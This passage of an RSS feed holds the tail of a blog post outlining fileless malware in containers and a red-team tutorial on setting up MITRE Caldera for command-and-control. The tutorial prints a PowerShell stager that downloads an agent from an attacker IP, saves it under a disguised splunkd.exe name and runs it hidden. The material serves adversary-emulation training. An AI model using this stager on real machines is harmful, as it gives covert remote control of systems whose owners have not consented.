have become an increasingly prevalent technology, allowing applications to be packaged with only their necessary dependencies and run consistently across different computing environments.</p><p>Having established a baseline for both Windows and Linux, we can further look into fileless malware execution in containers, which would essentially be the same tactics, only adaptive to the difference in environments.</p><p>Here’s a high-level overview:</p><ol><li><strong>Gaining Initial Access</strong>:<br>On containers, we can exploit vulnerabilities in the container runtime, escape the container’s isolation, or leverage misconfigurations in the container deployment to gain access to the container instance.</li><li><strong>Fileless Malware Execution</strong>:<br>We’ll need to consider adapting fileless techniques to work within the container environment, potentially leveraging container-specific features or vulnerabilities to execute the malware.</li><li><strong>Persistence and Lateral Movement</strong>:<br>We’ll need to find ways to maintain access, move between container instances, and escape the container to the host operating system.</li></ol><h3>Conclusion</h3><p>This article has covered an overview of fileless attacks, and how they’re implemented in both Windows &amp; Linux. Additionally, it briefly examines how this attack can be adapted for containers.</p><p>So how do we detect and defend what we can barely see? That’s Part 2.</p><h3>References</h3><ul><li><a href="https://0x00sec.org/t/super-stealthy-droppers/3715">Super-Stealthy Droppers</a></li><li><a href="https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/T1218.md#atomic-test-1---mavinject---inject-dll-into-running-process">atomic-red-team/atomics/T1218/T1218.md at master · redcanaryco/atomic-red-team</a></li><li><a href="https://fourcore.io/blogs/mavinject-curious-process-injection">The curious case of mavinject.exe</a></li><li><a href="https://attack.mitre.org/techniques/T1218/013/">System Binary Proxy Execution: Mavinject</a></li><li><a href="https://www.aquasec.com/blog/fileless-malware-container-security/">Fileless Malware Executing in Containers - Aqua</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32277f106205" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Leveraging Caldera for Adversary Emulation]]></title>
            <link>https://medium.com/@shereenvf/setting-up-command-control-c-c-with-caldera-83fe88be8f0d?source=rss-b960512f88f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/83fe88be8f0d</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[caldera]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shereen]]></dc:creator>
            <pubDate>Wed, 31 Jul 2024 10:07:40 GMT</pubDate>
            <atom:updated>2024-09-16T09:35:11.189Z</atom:updated>
            <content:encoded><![CDATA[<p>This article will cover setting up a reverse shell for Command &amp; Control (C&amp;C) using Caldera to simulate a red team attack on a Linux target machine.</p><p>Let us start with an introduction to what Caldera is.</p><h3>What is Caldera?</h3><p>It’s an open-source framework built by MITRE to save resources by automating security assessments.</p><p>But what does it do? According to their <a href="https://caldera.mitre.org/">website</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*ld8DvLhha974zQ--" /><figcaption>What Caldera does</figcaption></figure><h3>Adversary Emulation</h3><h4>High-Level Design</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*66sKZ2yrrT8eO_Lo54xyug.png" /><figcaption>HLD for C&amp;C via Caldera</figcaption></figure><h4><strong>Prerequisites</strong></h4><p>For this article, I’m using a <a href="https://www.kali.org/get-kali/#kali-virtual-machines">Kali VM</a>, a Linux distro designed for digital forensics and penetration testing. But you can install Caldera on other distributions.</p><p>Ensure you have the following prerequisites:</p><ul><li>up-to-date packages:</li></ul><pre>sudo apt update &amp;&amp; sudo apt upgrade -y</pre><ul><li>download &amp; install <a href="https://go.dev/doc/install">Golang</a> (download the package to untar):</li></ul><pre>$ rm -rf /usr/local/go &amp;&amp; tar -C /usr/local -xzf go1.22.5.linux-amd64.tar.gz <br>$ export PATH=$PATH:/usr/local/go/bin <br>$ go version</pre><ul><li>install<a href="https://caldera.readthedocs.io/en/latest/Installing-Caldera.html"> Caldera</a>: <br><strong>Note: </strong>If using <a href="https://www.kali.org/tools/caldera/">Kali</a>:<br>- run sudo apt install caldera <br>- verify installation caldera -h<br>- build with default (&amp; insecure) configs caldera --insecure</li></ul><p>Allow it to build your server before you log in to http://localhost:8888</p><p>Caldera has 3 accounts: admin, red, blue. They all have the same default password: admin.</p><p>For this article, we’re logging in as red.</p><h4><strong>C&amp;C Prep</strong></h4><p>Let’s define and map out some terminologies to familiarize Caldera’s options:</p><ol><li><a href="https://caldera.readthedocs.io/en/2.8.0/Learning-the-terminology.html#:~:text=An%20ability%20is%20a%20specific,with%20profiles%20which%20use%20them.">Caldera Terminologies</a>, simplified: (categories)<br>- <strong>agents</strong>: simple software that connects the target to the Caldera server<br>- <strong>abilities</strong>: techniques, tactics, procedures (TTP)<br>- <strong>adversaries</strong>: grouped abilities in a profile<br>- <strong>operations</strong>: manual/automated runs of abilities</li><li><a href="https://caldera.readthedocs.io/en/latest/Basic-Usage.html#agent-settings">Caldera Configurations</a> simplified:<br>- <strong>facts: </strong>(name+value+score = data) that can be used to fill in variables within Caldera abilities.<br>- <strong>rules:</strong> restrict the use of certain facts by specifying an action (ALLOW or DENY) and a pattern to match against the fact’s value.<br>- <strong>planners: </strong>modules with the logic for deciding which abilities to use and in what order during a running operation.<br>- <strong>objectives: </strong>collections of fact-based goals that must be achieved during an operation to be considered complete.<br>- <strong>goals: </strong>individual fact targets with specified values, counts, and relationships that must be satisfied for their associated objective to be considered complete.</li><li>Implementation:</li></ol><p>Deploy an agent. This returns the payload needed to establish a connection between the Caldera server and the target OS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*fbFgJGQBxAVHLvGm" /><figcaption>Campaigns &gt; Agents &gt; Deploy an agent</figcaption></figure><p>Agent configurations include various timers like beaconing intervals, watchdog, etc., but also 2 configs to run commands:</p><ul><li><strong>bootstrap abilities: </strong>run commands when new agent beacons</li><li><strong>deadman abilities:</strong> run commands before agent termination</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*BxUmPDMgDPqqzYev" /><figcaption>Agent &gt; Agent Configuration</figcaption></figure><p>Additionally, there are several <a href="https://caldera.readthedocs.io/en/latest/Plugin-library.html#plugin-library">agents &amp; plugins</a> offered by Caldera; for this article, I’m running Sandcat (aka 54ndc47). It’s Caldera’s default agent that communicates via HTTP(S) connection. Other agents can communicate via HTML or TCP as shown below.</p><p><strong>Note: </strong>You can also <a href="https://caldera.readthedocs.io/en/latest/How-to-Build-Agents.html">build your agent</a> to communicate via http, tcp, udp, websocket, gist (via Github), or dns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*Q4yaA7qSTX391CPp" /><figcaption>Agent &gt; Sandcat</figcaption></figure><p>After picking an agent, pick target OS and modify:</p><ul><li>app.contact.http: attacker ip and port (where you’re hosting Caldera)</li><li>agents.implant_name <strong>(optional)</strong>: malware name</li><li>agent.extensions <strong>(optional)</strong>: check out <a href="https://caldera.readthedocs.io/en/latest/plugins/sandcat/Sandcat-Details.html#extensions">Sandcat extensions</a></li></ul><p><strong>Note:</strong> Ensure you review/modify the payload and any abilities where needed.</p><p>For this lab, the target is Linux, but let’s also look at what Caldera offers for Windows.</p><p><strong>Windows:</strong></p><p>The payload you see below is written in <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about?view=powershell-5.1">Powershell</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*0HmreRszPrrjvI2l" /></figure><pre>$server=&quot;http:// 192.16x.x.x:8888&quot;;$url=&quot;$server/file/download&quot;;$wc=New-Object System.Net.WebClient;$wc.Headers.add(&quot;platform&quot;,&quot;windows&quot;);$wc.Headers.add(&quot;file&quot;,&quot;sandcat.go&quot;);$data=$wc.DownloadData($url);get-process | ? {$_.modules.filename -like &quot;C:\Users\Public\splunkd.exe&quot;} | stop-process -f;rm -force &quot;C:\Users\Public\splunkd.exe&quot; -ea ignore;[io.file]::WriteAllBytes(&quot;C:\Users\Public\splunkd.exe&quot;,$data) | Out-Null;Start-Process -FilePath C:\Users\Public\splunkd.exe -ArgumentList &quot;-server $server -group red&quot; -WindowStyle hidden;</pre><p><strong>Linux</strong> (assuming curl is installed in the target device, but hey there’s always wget! ):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*xZDM6UA2O2Irx7fo" /></figure><p>Running the above commands in a terminal in either OS will establish a successful connection as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*jhFQk6YbUiSEq9Zt" /><figcaption>Active Agent</figcaption></figure><p>Within <strong>Abilities</strong>, we can filter out available tactics and techniques for our platform and plugin. C&amp;C is what we will be performing on our target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*LpWkSkiVIvkvCXwa" /><figcaption>Sandcat C&amp;C</figcaption></figure><p>Taking a closer look at the Sandcat ability, we can see the below attributes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/0*J2lOd0oFZonbEvLD" /><figcaption>Edit Ability</figcaption></figure><p>And the script for each platform (Darwin, Linux, Windows). The below options can be tweaked; where payloads, requirements, and cleanup instructions can be added.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/0*rY3Rg9tZYmoCSsJi" /><figcaption>Ability’s command for Linux</figcaption></figure><p>Within <strong>Adversaries, </strong>you can select a profile to view its <strong>abilities</strong>, create a new profile, or import one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*AGV89QtxwVHOyeSf" /><figcaption>Adversary Profiles</figcaption></figure><p>For example, the adversary profile, <strong>Check</strong> contains the below abilities in the order they will run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*bKCND8DD87soy8nE" /><figcaption>“Check” Adversary Profile</figcaption></figure><p><a href="https://caldera.readthedocs.io/en/3.1.0/Basic-Usage.html#operations">Operations Configurations</a>:</p><ul><li><strong>Group:</strong> collection of agents to run against</li><li><strong>Autonomous: </strong>Run operation autonomously or manually.</li><li><strong>Planner:</strong> Choose the logic library to use for the operation.</li><li><strong>Fact source:</strong> Attach a source of facts for the operation to use.</li><li><strong>Cleanup timeout: </strong>Time to wait for each cleanup command to complete.</li><li><strong>Obfuscators:</strong> Select an obfuscator to encode commands.</li><li><strong>Jitter: </strong>agent check-in time with Caldera.</li><li><strong>Visibility:</strong> how visible the operation is to the defence.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*ra9aS2YaTYo9NTiP" /><figcaption>New Operation</figcaption></figure><p>When operations are run, a pipeline that includes the command and its output or error of failure is visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*gmOT046s3CpW4Tml" /><figcaption>Operations Pipeline</figcaption></figure><p>So for example, one of the failed commands was that the target device didn’t have ifconfig</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*vvptTfYfNpgyU7Sd" /><figcaption>Output of failed command</figcaption></figure><p>Manually running a simple install command as shown below</p><p>sudo apt install net-tools</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*hKgkzks2lBGttVGE" /><figcaption>Manual Command</figcaption></figure><p>Returns the following output of a successful installation of the indicated package</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*Ou9wP3tUGteEKI9g" /><figcaption>Output of Manual Command</figcaption></figure><p>Reports of the operations run can be downloaded, including their agent outputs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/0*jFryrvuXkYPy-cNv" /><figcaption>Download Report</figcaption></figure><h4>Conclusion</h4><p>In this article, we explored the Caldera framework, an open-source adversary emulation platform built by MITRE. We set up Caldera and deployed an agent on a Linux target machine to establish a command and control (C&amp;C) channel. We covered key Caldera terminologies like agents, abilities, adversaries, and operations, and demonstrated how to configure and customize them for our use case. By walking through the steps to run a C&amp;C operation on our target, we gained an understanding of Caldera’s capabilities in automating security assessments and red team activities. This exercise showcases Caldera’s potential to help security teams efficiently plan and execute adversary emulation to identify gaps in their defence mechanisms.</p><h4>References</h4><ul><li><a href="https://github.com/mitre/caldera">GitHub - mitre/caldera: Automated Adversary Emulation Platform</a></li><li><a href="https://caldera.readthedocs.io/en/latest/">Welcome to MITRE Caldera&#39;s documentation! - caldera documentation</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83fe88be8f0d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>